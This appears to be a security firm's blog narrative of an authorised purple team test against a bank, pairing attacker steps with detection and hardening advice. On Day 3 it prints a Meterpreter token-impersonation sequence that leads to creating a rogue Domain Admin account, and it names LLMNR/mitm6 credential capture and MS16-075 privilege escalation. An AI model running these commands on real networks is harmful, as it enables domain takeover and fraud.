Don’t you just love those movies containing high-speed chases, explosions and sophisticated bank robberies? The lives of us cybersecurity folks is like that, um…in no way.
This Purple Team War Story is about a real-life (legally approved) bank robbery in which no people were hurt and we didn’t even had to blow up our car or physically break into a vault 😉.
Disclaimer
At Chapter8, many of our Missions take place at the highest levels of the Dutch digital security industry, dealing with confidential information. That is why we are very careful about presenting client-related information. Being fictional in context, but true in tech, our war stories are a way to get the technical gist of a train-as-they-fight Purple Team mission across and contribute to your security mentality.
What is a Purple Team Mission?
Before we start our war story, let’s take a few seconds to explain what a Purple Team Mission is:
Security testing usually involves an outside-in penetration test after which a list of vulnerabilities is presented to the client as a ‘to-do-list’. When done like this, the security benefits for the client will only be visible after the recommendations have been adopted. In a medium-sized company, this process could take months.
You don’t have the luxury of postponing security benefits for months.
A Purple Team Mission starts from within the network (Assume Breach) and does not solely focus on red teaming. It brings together the expertise of hackers (Red team) and hunters (Blue team) in one ‘Squadron’ led by a healer (White team). They work in a close-knit team and in a way that results in mutual improvement.
Now, visible security benefits will take days, if not real-time.
Day 1 — Reconnaissance
As with most of our Missions, we started from within the network with an inventory of the digital landscape to determine the (private) bank’s attack surface. From within the network? Yes. Recent history has mercilessly shown that attackers will always find a way in at some point, so this not-so-new cybersecurity principle is getting traction outside the nerdy bubble we live in.
As for the team, this relatively small organization had a GISO (Global Information Security Officer), who had to juggle multiple roles — privacy officer, CISO and supplier contract manager. More often than not, she had the first incident responder role as well. A super ambitious and knowledgeable woman, albeit more than a bit overworked. As we had seen this before and since we are familiar with the stress and time management that comes with so many job duties, one of our own Mission goals became to devise a workable way forward for her.
Hacker
After a few hours of mapping out different network segments, the Hacker had identified two interesting subnets. One contained systems like mail servers, file servers and an NVR, while the other contained mostly fat clients (workstations) of bank employees.
The reason that the second subnet in particular was interesting, was that the hostnames of those fat clients were made up of employee names. A quick OSINT lookup showed the Hacker that amongst the targets were bank managers and the director…
A device most organizations forget to secure: the printer. Every time, including this Mission, a printer proves to be a source of useful information such as an address book containing email addresses, a link to the Domain Controller and the possibility to store scanned documents. The rest of the day was spent on host and service enumeration, evaluation and creating a plan for day two: Assessment.
Hunter
Knowing your assets. It’s such an important check that so few companies actually perform. Pressure of day to day duties always takes priority over proper documentation. Due to budgets being routed from IT to physical security, some pending contracts for products that would have provided much needed situational awareness had to be cancelled. From the bank’s C-level point of view this might be a logical decision, however the fallout was very decisive for the rest of our story. Partly because of this, hunter needed the better part of the first day to get to know the network and its security measures.
One of the first recommendations already was having an up-to-date CMDB and network drawings. At the end of this day at least Hunter had a general idea of the network. What stood out for him as well, was that the workstation names were made up of employee names. That’s generally not a good idea — the same goes for usernames. Because the bank didn’t really do logging and monitoring in their digital infrastructure (WKR!), we decided with the GISO to roll out an Open Source monitoring solution and provide the client computers and core servers with a necessary software agent. Together with a strategically chosen Suricata, Moloch and Zeek instance, Hunter now had some insight in hosts and the network.
Healer
Printers… sigh. So many are deployed with default (or empty) credentials to the administration interface that they are a major source of possibilities for security improvement every single time. Our Hacker always seems to find one, somewhere in the back-alley of a large, otherwise well-managed network. Especially with international companies and many branch offices, a new printer is easily hooked up to the network and given an account with some domain privileges. Some printers use outdated protocols like LDAP to authenticate against a domain controller. Redirecting that authentication process towards us yields valuable account credentials at near-zero effort. Changing default credentials and using modern protocols are near-zero efforts to reduce this attack surface. But it takes company procedures and adherence to these procedures to implement these constantly. This was one to report immediately, along with the not-so-smart DNS employee mapping.
Security by obscurity has a bad name, but it is not downright useless. If usernames and workstations are made up out of non-descriptive strings (a124ab / F77123 / …) it is much harder for an attacker to map out interesting persons or infrastructure.
Open Source monitoring software is usable in situations where you need some insight into an infrastructure as soon as possible where there is none. But often it does not scale well and it is not recommended as a long term solution without having a dedicated blue team. This initial setup did however form a stepping stone for a medium term solution, which will enable our GISO to make an informed long term decision. More about that later in our story.
Day one , value added. Not bad for a day’s work.
Day 2 — Assessment
The second day of the Mission started with frustration.
Hacker noticed that the bank’s IT team did a great job by keeping servers and fat clients up-to-date and by swapping out default passwords for strong(er) passwords. There was no easy way in by using exploits like EternalBlue so the Hacker started this day with working on network traffic analysis. By using an LLMNR attack in combination with mitm6, he was able to get his hands on usernames and NTLMv2 hashes of Windows systems and cleartext credentials for a database server. The latter was pure luck as we learned later that one of the developers apparently installed a script on his workstation that was scheduled to run every X minutes. Instead of writing ‘localhost’ in the script he wrote ‘localhots’. Because of this, his workstation sent a request to a nearby DNS server (now the Hacker’s loadout because of mitm6) to resolve ‘localhots’ and forward the request to the appropriate server.
Now, there were several options to explore at this point. An attacker can try to use the NTLMv2 hashes in a Pass the Hash (PtH) attack which is a method of authenticating as a user without having access to the user’s cleartext password. Another option is to crack the password hash using a cluster of graphics cards which provide enough power to test the hash against a known passwords list, permutated with our own special sauce. But since the Hacker also got his hands on cleartext credentials for a database server, he decided to test those first.
Using the cleartext credentials, he got access to the corresponding MSSQL database service which hosted over 30 databases. Unfortunately, the data in the databases seemed for testing purposes only as it was hosted on the workstation of a developer. The Hacker performed a quick network scan in search of other MSSQL servers and found that the credentials also seemed to work on production servers!
Hunter
What is one of the main objectives for a hacker after he gained access to the network? First is to obtain and maintain persistence and second is to acquire credentials, preferably (domain) admin credentials. As this was mainly a Windows network, Hunter watched for Windows logon events that did not have the Domain Controller as a destination. That might be a sign of malicious activity to find NTLMv2 hashes. During the day he saw several of those events and decided to watch user activity in the network more closely, especially the use of domain administrative accounts. He also asked the IT department to limit any actions which require such privileges to quickly spot anomalies.
Having strokes of luck as a Hacker is a fact of life Healers and Hunters need to accept. The typo in the login script was a perfectly innocent human error. Reusing administrative database credentials from production servers in a development environment, under the assumption that ‘localhost’ will stay internal “so there is no risk there” however, is not an innocent error. DTAP environments are snake pits in almost every IT landscape we see. Shortcuts between development and production are widely known and notorious. This finding was reported immediately and placed on the shortlist of Things To Fix.
Key here is to report the finding, while being careful not to damage the position of the developer. We will always have findings that pose a threat to someone’s position within the organization. You might miss the word ‘unfortunately’ in that sentence, but it was left out on purpose. Human behaviour that poses a threat to your security posture will be reported, but factual, without judgment and preferably with a big wink. Zero bullshit consultancy is what we call that principal.
Thing is, you — as an organization — need to be able to trust the auditors. In our first year, we have been accused of leaving backdoors for later use during a Mission “because of our background”, long term social engineering prior to a Mission “because we cannot believe you cracked this password so fast”, and triggering incidents after a Mission “to be able to make more money”. Because we already have considerable experience with responses to the results of our audits or forensics in previous jobs, we aren’t offended easily. Statements like these generally undermine the staters credibility and do not require much effort to counter. These are human reactions to bad-news-messages and in most cases, these reactions change from denial through (outright) anger to acceptance. And sometimes people lose their jobs, because being unable to see your own faults is simply unacceptable in a security position.
Luckily, none of these were applicable to our current client.
Day 3 — Assessment
The benefit of having a team is that you can divide tasks and therefore work more efficient. While our Healer continued digging through interesting data on the database server, the Hacker started researching the possibilities of gaining control over the database server.
Hacker
Using a MS16–075 Net-NTLMv2 reflection attack, the Hacker was able to escalate privileges from the ‘mssqlserver’ user to ‘SYSTEM’ which gave him administrative control over the database server. But the Hacker did not stop there because his end goal was to get administrative control over the entire domain; Domain Administrator.
The steps taken to reach that end goal after getting SYSTEM privileges on the database server were:
- Run incognito mode in Meterpreter:
meterpreter > use incognito
Loading extension incognito...success.- List delegation tokens:
meterpreter > list_tokens -uDelegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
BANK\Administrator
- Impersonate the bank’s domain administrator account:
meterpreter > impersonate_token BANK\\Administrator
The [+] Delegation token available
[+] Successfully impersonated user BANK\Administratormeterpreter > getuid
Server username: BANK\Administrator
- Start cmd as the impersonated administrator:
meterpreter > execute -f cmd.exe -i -t- Start a remote cmd session on the Domain Controller:
C:\WINDOWS\system32> winrs -r:DOMAINCONTROLLER cmd- Create a Chapter8 user:
C:\WINDOWS\system32> net user /add Chapter8 mysupersecurepassword- Add the Chapter8 user to the Domain Admins group:
C:\WINDOWS\system32> net group "Domain Admins" Chapter8 /ADD /DOMAIN- Aaaaaand, we’re Domain Admin!
Before lunch, the Hacker had accomplished his primary objective. The only thing left to do after that was to add the new administrative user to the appropriate groups to gain access to all file shares and domain joined systems, and record proof of access to the financial systems.
The Hacker was also able to dump the password hashes of all domain users, after which he was able to crack several of the hashes and use those users’ password to covertly log on to the financial systems and make payments while posing as a bank employee.
Hunter
At some point during the day the monitoring solution send some alerts:
Successful Domain Admin logon detected!
Windows Account Created!
Hunter quickly checked with the IT department if someone there was using a Domain Admin account. That was not the case, so he was pretty sure that something malicious was going on. Since this is a Purple Team Exercise, Hunter asked Hacker if he just now gained Domain Admin credentials. Surprised that he was found out rather quickly, he begrudgingly said “yes”. Happy to have found the Hacker, Hunter also knew he didn’t prevent Hacker from getting those credentials and he did not know yet what else the Hacker had been doing on the netwerk. There was still a lot more stuff to be done.
Healer dug through the production server databases, following the path Hacker found. Since this was a banking environment, there was a lot to work with. Crown jewels like customer data records and customer loyalty program records were readily accessible. All kinds of stuff that you don’t want exfiltrated and get extorted for. The strength of the database passwords (yes, multiple service accounts for multiple databases) was pretty fierce. There was just no way that we could have recovered those passwords using brute force and smart-guessing techniques. This was also a finding that Healer relayed to the client, because it is important to note the positives also. Was it not for the typo the developer made, we would have been in the blind regarding the database servers. A weaker point in the network setup was that access to financial systems was tied to Windows logon credentials. Ideally, you want seperate accounts and/or multi-factor authentication for these kinds of systems.
Days 4–5: Kind of blue
Since Hacker’s job was kind of done on day three, he spent the last few days in close cooperation with the client and the blue team to enhance their defenses. Key here is to build a defensible network architecture, a term that was coined by cyber guru Richard Bejtlich as early as 2008. It is quite saddening that the reality is that 12 years after that great book, The Tao of Network Security Monitoring, the common state of network architectures is…well, not so defensible still.
But the situation here was not undefensible. There were quite a lot of (relatively) quick wins to improve detection and response, as well as implementing some information security best practices. For example, we recommended implementing the most critical CIS Controls. We also further improved logging, started rolling out risk-based use cases to Elastic Stack, set up NetFlow and fine tuned the IDS. And to the liking of the GISO, everything could be done with Open Source software, reducing cost and thus having less stress on the IT budget. This is what we call a “Bootcamp” — evaluating an organization from zero insight through short-term insight, to medium-term insight and some kind of intrusion detection, which the organization can run and maintain themselves.
This “Bootcamp” is in no way a substitution for a Managed Security Service Provider. We know very well that organizations mostly lack the resources to handle their own IDS full-time. But contracting an MSSP without internal knowledge of the infrastructure is not a smart business decision. Choosing and contracting an MSSP is not a process to be taken lightly, because you are talking about a long term commitment with a supplier who will have a foothold in the very core of your infrastructure. Better to make an informed decision, right?
Wrap-up
Security testing is not a one-time thing. Many organizations, even banks with large sums of money at their fingertips, dread an annual security check. We understand! These things take time, energy, money and most of the time the results yell “You are not doing their job well enough!”. This is mostly because your digital landscape has to change so fast that more often than not, you’ll lag behind (that is why visibility in your network is so, so important). In our opinion, security testing should be a constant and at least performed in a different scenario once every six months so changes and adaptation are minimal.
A Purple Team Mission saves time and leaves your organization with less to worry about. Vulnerabilities are identified and forwarded to the security department the moment they are found and exploited. At the same time, we will help you interpret and plan the fixes to harden your organization’s attack surface before we leave the building.
Thank you for reading!
